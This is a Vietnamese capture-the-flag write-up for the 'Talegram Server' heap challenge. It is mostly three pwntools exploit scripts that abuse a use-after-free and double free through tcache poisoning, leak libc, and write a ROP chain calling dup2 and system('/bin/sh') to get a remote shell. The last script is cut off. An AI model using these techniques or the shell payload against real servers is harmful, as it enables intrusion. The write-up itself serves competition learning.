---
# System prepended metadata

title: '[Wanna Game Championship 2025] - Talegram Server'

---


### talegram - server (993 pts)
Một câu pwn khó trong wannagame championship 2025 mình là người thứ 2 solve được câu này :D, mất first blood..., nhưng ae `BlackPinker` tụi mình đã vô địch bảng quốc tế wannagame quá đã hehe, Writeup này hiện tại chưa hoàn thiện tại mình chưa có thời gian viết nên chỉ nói sơ qua thôi

Bị lỗi 2 connection cùng login vào một account. Khi một connection bị xóa thì connection còn lại vẫn truy cập được vào mảng `details` và xem được data → `UAF`.

Vấn đề là `unsorted bin` của từng `thread` không chứa `libc`, nên không thể leak libc từ `thread heap` bằng `unsorted bin` như cách thông thường. Tuy nhiên trong `thread heap` có con trỏ `linked list` trỏ tới `next arena` của thread tiếp theo. Nếu là `thread` đầu thì nó trỏ trực tiếp vào `main_arena` → `libc`. Từ đây có thể dùng `tcache poison` rồi deref dần cho tới khi chạm địa chỉ của `libc` → leak libc thành công.

Bonus: có thêm một cách nữa để leak libc. Nếu tạo số `thread = số_core_CPU * 8`, thì cái thread thứ `core_count * 8` sẽ dùng `heap` trùng với `main_arena`. Tức là `heap` của thread lúc này chính là `heap` của `main_arena` do danh sách `arena` dạng `circular linked list`. Khi số `arena` đạt tối đa nó sẽ quay vòng và trở lại cái `main_arena` đầu tiên. Lúc này leak `libc` bằng `unsorted bin` như bình thường là được.

Ngoài ra, khi `server` bị `crash`, lúc nó `respawn` lại sẽ không tự `reconnect` với client. Có thể tận dụng điều này để khiến connection đầu tiên của mình trở thành `thread` đầu tiên. Từ đó chỉ cần `deref` một lần là chạm `libc` luôn.

`solve script` chia làm 2 giai đoạn:
1) Giai đoạn đầu trigger `crash`.
2) Giai đoạn sau leak `libc` rồi thực hiện `tcache poison` để viết `ROP` lên `stack` của `thread` đầu tiên.



<details>
<summary>Gửi payload này lên server để gây `crash`. Thực ra không cần phải dài như vậy, nhưng mình có sẵn một script cũ từng làm server `crash` trong lúc exploit nên dùng lại luôn cho tiện</summary>
    
``` python
from pwn import *
remote_connection = "nc challenge.cnsc.com.vn 32066".split()
local_port = 1337

context.binary = ELF('./server_d/server')
context.terminal = ['tmux', 'splitw', '-h']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
set non-stop off
set target-async off
set pagination off
'''
#include "app_structs.h"

#define MAGIC               0xbeef1337
#define EVENT_MAX_SIZE      0x300
#define DETAILS_MAX_SIZE    0x200
#define MESSAGE_MAX_SIZE    0x200
#define SERVER_EVENT         0x1000
#define CLIENT_EVENT         0x2000
#define SERVER_FORWARD_MSG          0x0001
#define SERVER_RETURN_DETAILS       0x0002

#define CLIENT_REGISTER         0x0001
#define CLIENT_LOGIN            0x0002
#define CLIENT_GET_DETAILS      0x0003
#define CLIENT_UPDATE_DETAILS   0x0004
#define CLIENT_DELETE_ACCOUNT   0x0005
#define CLIENT_SEND_MSG         0x0006
#define DEF_BUFFER          0x0010
#define VIP_BUFFER          0x0020

MAGIC = 0xbeef1337
DETAILS_MAX_SIZE = 0x200
EVENT_MAX_SIZE = 0x300
MESSAGE_MAX_SIZE = 0x200
SERVER_EVENT = 0x1000
CLIENT_EVENT = 0x2000
SERVER_FORWARD_MSG = 0x0001
SERVER_RETURN_DETAILS = 0x0002

CLIENT_REGISTER = 0x0001
CLIENT_LOGIN = 0x0002
CLIENT_GET_DETAILS = 0x0003
CLIENT_UPDATE_DETAILS = 0x0004
CLIENT_DELETE_ACCOUNT = 0x0005
CLIENT_SEND_MSG = 0x0006

DEF_BUFFER = 0x0010
VIP_BUFFER = 0x0020


def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.DOCKER:
        return remote("localhost", local_port)
    elif args.LOCAL:
        return process([context.binary.path])

def GDB():
    if args.DOCKER:
        gdbserver = process("docker exec -u root -i to_player-talagrem_server-1 bash -c".split() +  [f"gdbserver :9090 --attach $(pidof server) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif args.LOCAL:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()




# # REGISTER
# etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
# io.send(build_event(etype, user_payload('alice', 'alicepw', 0, 0)))

# # LOGIN
# etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
# io.send(build_event(etype, user_payload('alice', 'alicepw', 1, 0)))

# # SEND_MSG tới bot (nếu server chạy với bot_id 'mybot')
# etype = CLIENT_EVENT | CLIENT_SEND_MSG | DEF_BUFFER
# io.send(build_event(etype, msg_payload('alice', 'bot_mybot', b'/help')))

# # Nhận phản hồi (nếu có)
# magic = io.recvn(4)
# size  = u32(io.recvn(4))
# body  = io.recvn(size)
# etype_ret  = u32(body[:4])
# data_size  = u32(body[4:8])
# data       = body[8:8+data_size]
# log.info(f"etype=0x{etype_ret:x}, data_len={data_size}")

def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00')

def user_payload(username, password, logged_in=0, vip=0):
    return pad(username) + pad(password) + p32(logged_in) + p32(vip)

def msg_payload(frm, to, msg_bytes):
    return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes

def build_event(etype, data):
    body = p32(etype) + p32(len(data)) + data
    return p32(MAGIC) + p32(len(body)) + body

libc = ELF('./libc.so.6')
# 0x705f730

# mark = start()
# #create a admin user to bypass vip check
# etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
# mark.send(build_event(etype, user_payload('admin', 'password', 0, 1)))
# sleep(0.1)
context.log_level = 'debug'
# create 7 users to fill tcache bin 0x210
p1 = start()
for i in range(8):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 0, 1)))
    sleep(0.1)

    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 0)))
    
    etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
    details = b'B' * DETAILS_MAX_SIZE
    p1.send(build_event(etype, details))
    sleep(0.1)


# free all 6 users to put chunks into tcache
for i in range(7):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 1)))
    sleep(0.1)

    etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
    p1.send(build_event(etype, pad(username)))
    sleep(0.1)

#p2 login as user7
p2 = start()
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p2.send(build_event(etype, user_payload('user7', 'password', 1, 1)))
sleep(0.1)


#p1login as user7 again
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('user7', 'password', 1, 1)))
sleep(0.1)


# #p2 delete user7 to free chunk
# etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
# p2.send(build_event(etype, pad('user7')))
# sleep(0.1)
# p1 delete user7 to free chunk again
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('user7')))
sleep(0.1)


#p2 read user7 to get leak
etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
p2.send(build_event(etype, pad('user7')))
data = p2.recvuntil(b"B" * (DETAILS_MAX_SIZE - 0x10))

heap_leak = u64(data[16:24])
heap_leak = heap_leak
heap_base = heap_leak - 0x1bf0
print(f"heap_leak: {hex(heap_leak)}")
leak_ptr = heap_leak - 0x1350
print(f"leak_ptr: {hex(leak_ptr)}")

# p1 create userA to get chunk from tcache
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userA', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userA', 'password', 1, 1)))
sleep(0.1)

#p1 update details of userA 
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b"A" * DETAILS_MAX_SIZE
p1.send(build_event(etype, details))
sleep(0.1)

p3 = start()
#p3 login as userA
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p3.send(build_event(etype, user_payload('userA', 'password', 1, 1)))
sleep(0.1)

#p1 delete userA to free chunk
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('userA')))

poison_chunk = heap_base + 0x1960
def bypass_safe_link(target_add, poisso_chunk):
    return (poisso_chunk >> 12) ^ target_add
target_addr = leak_ptr - 0x10

fake_fd = bypass_safe_link(target_addr, poison_chunk)

#p3 get update details of userA with fake fd
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = p64(fake_fd) + b'E' * (DETAILS_MAX_SIZE - 8)
p3.send(build_event(etype, details))
sleep(0.1)
# pause()

#p1 create userB to get chunk from tcache and trigger unlink
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

#p1 update details of userB to trigger unlink
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'\x00' * 8
p1.send(build_event(etype, details))
sleep(0.1)

# p1 create userC to get chunk at leak_ptr
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userC', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userC', 'password', 1, 1)))
sleep(0.1)

# p1 update details of userC
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'\x00' * 8
p1.send(build_event(etype, details))
sleep(0.1)

#p2 login as userC
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p2.send(build_event(etype, user_payload('userC', 'password', 1, 1)))
sleep(0.1)

#p2 get details of userC to leak libc addr
etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
p2.send(build_event(etype, pad('userC')))
sleep(0.1)

data = p2.recvall(timeout=2)
leak_bytes = data[32:40]
libc_leak = u64(leak_bytes)
print(data)
libc.address = libc_leak - 0x203ac0
print(f"libc_leak: {hex(libc_leak)}")
print(f"libc_base: {hex(libc.address)}")
# GDB()

# pause()

# p1 login back to userB 
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)


p4 = start()
# p4 login as userB
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p4.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

p5 = start()
# p5 login as userB
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p5.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

#p1 delete userB
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('userB')))
sleep(0.1)

#p4 modify details of userB to double free
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'C' * DETAILS_MAX_SIZE
p4.send(build_event(etype, details))
sleep(0.1)

#p5 delete userB again to double free
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p5.send(build_event(etype, pad('userB')))
sleep(0.1)

#p4 modify details of userB to put fake chunk into tcache
# target_addr = libc_leak
# fake_fd = bypass_safe_link(target_addr, poison_chunk)
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = p64(fake_fd) + b'D' * (DETAILS_MAX_SIZE - 8)
p4.send(build_event(etype, details))
sleep(0.1)

# p1 create double_free0 to get chunk from tcache
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free0', 'password', 0, 1)))
sleep(0.1)


etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free0', 'password', 1, 1)))
sleep(0.1)

#p1 update details of double_free0
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'E' * DETAILS_MAX_SIZE
p1.send(build_event(etype, details))
sleep(0.1)


# p1 create double_free1 padding to poison chunk
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free1', 'password', 0, 1)))
sleep(0.1)


etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free1', 'password', 1, 1)))
sleep(0.1)

# p1 update details of double_free1
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'A'
p1.send(build_event(etype, details))

#get details
etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
p1.send(build_event(etype, pad('double_free1')))
data = p1.recvuntil(b'A')


p1.interactive()

```
</details>


<details>
<summary>Lần 2 chúng ta có shell trên server với script này</summary>
    
```
from pwn import *
remote_connection = "nc challenge.cnsc.com.vn 30948".split()
local_port = 1337

context.binary = ELF('./server_d/server')
context.terminal = ['tmux', 'splitw', '-h']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
set non-stop off
set target-async off
set pagination off
'''
#include "app_structs.h"

#define MAGIC               0xbeef1337
#define EVENT_MAX_SIZE      0x300
#define DETAILS_MAX_SIZE    0x200
#define MESSAGE_MAX_SIZE    0x200
#define SERVER_EVENT         0x1000
#define CLIENT_EVENT         0x2000
#define SERVER_FORWARD_MSG          0x0001
#define SERVER_RETURN_DETAILS       0x0002

#define CLIENT_REGISTER         0x0001
#define CLIENT_LOGIN            0x0002
#define CLIENT_GET_DETAILS      0x0003
#define CLIENT_UPDATE_DETAILS   0x0004
#define CLIENT_DELETE_ACCOUNT   0x0005
#define CLIENT_SEND_MSG         0x0006
#define DEF_BUFFER          0x0010
#define VIP_BUFFER          0x0020

MAGIC = 0xbeef1337
DETAILS_MAX_SIZE = 0x200
EVENT_MAX_SIZE = 0x300
MESSAGE_MAX_SIZE = 0x200
SERVER_EVENT = 0x1000
CLIENT_EVENT = 0x2000
SERVER_FORWARD_MSG = 0x0001
SERVER_RETURN_DETAILS = 0x0002

CLIENT_REGISTER = 0x0001
CLIENT_LOGIN = 0x0002
CLIENT_GET_DETAILS = 0x0003
CLIENT_UPDATE_DETAILS = 0x0004
CLIENT_DELETE_ACCOUNT = 0x0005
CLIENT_SEND_MSG = 0x0006

DEF_BUFFER = 0x0010
VIP_BUFFER = 0x0020


def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.DOCKER:
        return remote("localhost", local_port)
    elif args.LOCAL:
        return process([context.binary.path])

def GDB():
    if args.DOCKER:
        gdbserver = process("docker exec -u root -i to_player-talagrem_server-1 bash -c".split() +  [f"gdbserver :9090 --attach $(pidof server) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif args.LOCAL:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()




# # REGISTER
# etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
# io.send(build_event(etype, user_payload('alice', 'alicepw', 0, 0)))

# # LOGIN
# etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
# io.send(build_event(etype, user_payload('alice', 'alicepw', 1, 0)))

# # SEND_MSG tới bot (nếu server chạy với bot_id 'mybot')
# etype = CLIENT_EVENT | CLIENT_SEND_MSG | DEF_BUFFER
# io.send(build_event(etype, msg_payload('alice', 'bot_mybot', b'/help')))

# # Nhận phản hồi (nếu có)
# magic = io.recvn(4)
# size  = u32(io.recvn(4))
# body  = io.recvn(size)
# etype_ret  = u32(body[:4])
# data_size  = u32(body[4:8])
# data       = body[8:8+data_size]
# log.info(f"etype=0x{etype_ret:x}, data_len={data_size}")

def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00')

def user_payload(username, password, logged_in=0, vip=0):
    return pad(username) + pad(password) + p32(logged_in) + p32(vip)

def msg_payload(frm, to, msg_bytes):
    return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes

def build_event(etype, data):
    body = p32(etype) + p32(len(data)) + data
    return p32(MAGIC) + p32(len(body)) + body

libc = ELF('./libc.so.6')
# 0x705f730

# mark = start()
# #create a admin user to bypass vip check
# etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
# mark.send(build_event(etype, user_payload('admin', 'password', 0, 1)))
# sleep(0.1)
context.log_level = 'debug'
# create 7 users to fill tcache bin 0x210
p1 = start()
for i in range(8):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 0, 1)))
    sleep(0.1)

    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 0)))
    
    etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
    details = b'B' * DETAILS_MAX_SIZE
    p1.send(build_event(etype, details))
    sleep(0.1)


# free all 6 users to put chunks into tcache
for i in range(7):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 1)))
    sleep(0.1)

    etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
    p1.send(build_event(etype, pad(username)))
    sleep(0.1)

#p2 login as user7
p2 = start()
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p2.send(build_event(etype, user_payload('user7', 'password', 1, 1)))
sleep(0.1)


#p1login as user7 again
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('user7', 'password', 1, 1)))
sleep(0.1)


# #p2 delete user7 to free chunk
# etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
# p2.send(build_event(etype, pad('user7')))
# sleep(0.1)
# p1 delete user7 to free chunk again
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('user7')))
sleep(0.1)


#p2 read user7 to get leak
etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
p2.send(build_event(etype, pad('user7')))
data = p2.recvuntil(b"B" * (DETAILS_MAX_SIZE - 0x10))

heap_leak = u64(data[16:24])
heap_leak = heap_leak
heap_base = heap_leak - 0x1bf0
print(f"heap_leak: {hex(heap_leak)}")
leak_ptr = heap_leak - 0x1350
print(f"leak_ptr: {hex(leak_ptr)}")

# p1 create userA to get chunk from tcache
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userA', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userA', 'password', 1, 1)))
sleep(0.1)

#p1 update details of userA 
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b"A" * DETAILS_MAX_SIZE
p1.send(build_event(etype, details))
sleep(0.1)

p3 = start()
#p3 login as userA
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p3.send(build_event(etype, user_payload('userA', 'password', 1, 1)))
sleep(0.1)

#p1 delete userA to free chunk
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('userA')))

poison_chunk = heap_base + 0x1960
def bypass_safe_link(target_add, poisso_chunk):
    return (poisso_chunk >> 12) ^ target_add
target_addr = leak_ptr - 0x10

fake_fd = bypass_safe_link(target_addr, poison_chunk)

#p3 get update details of userA with fake fd
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = p64(fake_fd) + b'E' * (DETAILS_MAX_SIZE - 8)
p3.send(build_event(etype, details))
sleep(0.1)
# pause()

#p1 create userB to get chunk from tcache and trigger unlink
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

#p1 update details of userB to trigger unlink
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'\x00' * 8
p1.send(build_event(etype, details))
sleep(0.1)

# p1 create userC to get chunk at leak_ptr
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('userC', 'password', 0, 1)))
sleep(0.1)

etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userC', 'password', 1, 1)))
sleep(0.1)

# p1 update details of userC
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'\x00' * 8
p1.send(build_event(etype, details))
sleep(0.1)

#p2 login as userC
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p2.send(build_event(etype, user_payload('userC', 'password', 1, 1)))
sleep(0.1)

#p2 get details of userC to leak libc addr
etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
p2.send(build_event(etype, pad('userC')))
sleep(0.1)

data = p2.recvall(timeout=2)
leak_bytes = data[32:40]
libc_leak = u64(leak_bytes)
print(data)
libc.address = libc_leak - 0x203ac0
print(f"libc_leak: {hex(libc_leak)}")
print(f"libc_base: {hex(libc.address)}")
# GDB()

# pause()

# p1 login back to userB 
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)


p4 = start()
# p4 login as userB
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p4.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

p5 = start()
# p5 login as userB
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p5.send(build_event(etype, user_payload('userB', 'password', 1, 1)))
sleep(0.1)

#p1 delete userB
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('userB')))
sleep(0.1)

#p4 modify details of userB to double free
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'C' * DETAILS_MAX_SIZE
p4.send(build_event(etype, details))
sleep(0.1)

#p5 delete userB again to double free
etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p5.send(build_event(etype, pad('userB')))
sleep(0.1)

#p4 modify details of userB to put fake chunk into tcache
# target_addr = libc_leak
# fake_fd = bypass_safe_link(target_addr, poison_chunk)
target_addr = libc.address - 0x4190
fake_fd = bypass_safe_link(target_addr, poison_chunk)

etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = p64(fake_fd) + b'D' * (DETAILS_MAX_SIZE - 8)
p4.send(build_event(etype, details))
sleep(0.1)

# p1 create double_free0 to get chunk from tcache
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free0', 'password', 0, 1)))
sleep(0.1)


etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free0', 'password', 1, 1)))
sleep(0.1)

#p1 update details of double_free0
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = b'E' * 8
p1.send(build_event(etype, details))
sleep(0.1)


# p1 create double_free1 padding to poison chunk
etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free1', 'password', 0, 1)))
sleep(0.1)


etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('double_free1', 'password', 1, 1)))
sleep(0.1)

# p1 update details of double_free1
etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
details = p64(libc.address - 0x4190 - 0x100)
# 0x000000000010f78b : pop rdi ; ret
# 0x0000000000110a7d : pop rsi ; ret

# dup2(fd, 0)
# dup2(fd, 1)
# dup2(fd, 2)
# system("/bin/sh")
# 000000000002882f : ret
details += p64(libc.address + 0x000000000010f78b)  # pop rdi ; ret
details += p64(4)  # fd
details += p64(libc.address + 0x0000000000110a7d)  # pop rsi ; ret
details += p64(0)  # stdin
details += p64(libc.address + 0x2882f)  # ret
details += p64(libc.sym['dup2'])
details += p64(libc.address + 0x000000000010f78b)  # pop rdi ; ret
details += p64(4)  # fd
details += p64(libc.address + 0x0000000000110a7d)  # pop rsi ; ret
details += p64(1)  # stdout
details += p64(libc.sym['dup2'])
details += p64(libc.address + (0x000000000010f78b))  # pop rdi ; ret
details += p64(4)  # fd
details += p64(libc.address + 0x0000000000110a7d)  # pop rsi ; ret
details += p64(2)  # stderr
details += p64(libc.sym['dup2'])

details += p64(libc.address + 0x000000000010f78b)  # pop rdi ; ret
details += p64(next(libc.search(b'/bin/sh\x00')))
details += p64(libc.address + 0x2882f)  # ret

details += p64(libc.sym['system'])

GDB()
p1.send(build_event(etype, details))

#get details
# etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
# p1.send(build_event(etype, pad('double_free1')))
# data = p1.recvuntil(b'A')


sleep(0.1)

p1.interactive()

```
</details>

<details>
<summary>script leak libc bằng cách bonus</summary>

```
from pwn import *
# challenge.cnsc.com.vn:32066
remote_connection = "nc challenge.cnsc.com.vn 32397".split()
local_port = 5000

context.binary = ELF('./server_d/server')
context.terminal = ['tmux', 'splitw', '-h']

localscript = f'''
file {context.binary.path}
'''

gdbscript = '''
'''
#include "app_structs.h"

#define MAGIC               0xbeef1337
#define EVENT_MAX_SIZE      0x300
#define DETAILS_MAX_SIZE    0x200
#define MESSAGE_MAX_SIZE    0x200
#define SERVER_EVENT         0x1000
#define CLIENT_EVENT         0x2000
#define SERVER_FORWARD_MSG          0x0001
#define SERVER_RETURN_DETAILS       0x0002

#define CLIENT_REGISTER         0x0001
#define CLIENT_LOGIN            0x0002
#define CLIENT_GET_DETAILS      0x0003
#define CLIENT_UPDATE_DETAILS   0x0004
#define CLIENT_DELETE_ACCOUNT   0x0005
#define CLIENT_SEND_MSG         0x0006
#define DEF_BUFFER          0x0010
#define VIP_BUFFER          0x0020

MAGIC = 0xbeef1337
DETAILS_MAX_SIZE = 0x200
EVENT_MAX_SIZE = 0x300
MESSAGE_MAX_SIZE = 0x200
SERVER_EVENT = 0x1000
CLIENT_EVENT = 0x2000
SERVER_FORWARD_MSG = 0x0001
SERVER_RETURN_DETAILS = 0x0002

CLIENT_REGISTER = 0x0001
CLIENT_LOGIN = 0x0002
CLIENT_GET_DETAILS = 0x0003
CLIENT_UPDATE_DETAILS = 0x0004
CLIENT_DELETE_ACCOUNT = 0x0005
CLIENT_SEND_MSG = 0x0006

DEF_BUFFER = 0x0010
VIP_BUFFER = 0x0020


def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.DOCKER:
        return remote("localhost", local_port)
    elif args.LOCAL:
        return process([context.binary.path])

def GDB():
    if args.DOCKER:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split() +  [f"gdbserver :9090 --attach $(pidof server) &"])
        pid = gdb.attach(('localhost', 9090), exe=f'{context.binary.path}', gdbscript=localscript + gdbscript)
        pause()
    elif args.LOCAL:
        gdb.attach(p, gdbscript=localscript + gdbscript)
        pause()




def pad(s, n=0x20): return s.encode()[:n].ljust(n, b'\x00')

def user_payload(username, password, logged_in=0, vip=0):
    return pad(username) + pad(password) + p32(logged_in) + p32(vip)

def msg_payload(frm, to, msg_bytes):
    return pad(frm) + pad(to) + p32(len(msg_bytes)) + msg_bytes

def build_event(etype, data):
    body = p32(etype) + p32(len(data)) + data
    return p32(MAGIC) + p32(len(body)) + body

libc = ELF('./libc.so.6')
# 0x705f730
GDB()

temps = []
for i in range(32*8 - 2):
    temps.append(start())
    etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
    temps[-1].send(build_event(etype, user_payload(f'temp{i}', 'temppw', 0, 1)))

    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    temps[-1].send(build_event(etype, user_payload(f'temp{i}', 'temppw', 1, 0)))
    sleep(0.1)


context.log_level = 'debug'

p1 = start()

for i in range(8):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_REGISTER | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 0, 1)))

    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 0)))

    etype = CLIENT_EVENT | CLIENT_UPDATE_DETAILS | DEF_BUFFER
    details = b'B' * DETAILS_MAX_SIZE
    p1.send(build_event(etype, details))


sleep(1)
#login again then delete all accounts
for i in range(7):
    username = f'user{i}'
    etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
    p1.send(build_event(etype, user_payload(username, 'password', 1, 1)))

    etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
    p1.send(build_event(etype, pad(username)))


# p1 login as user7
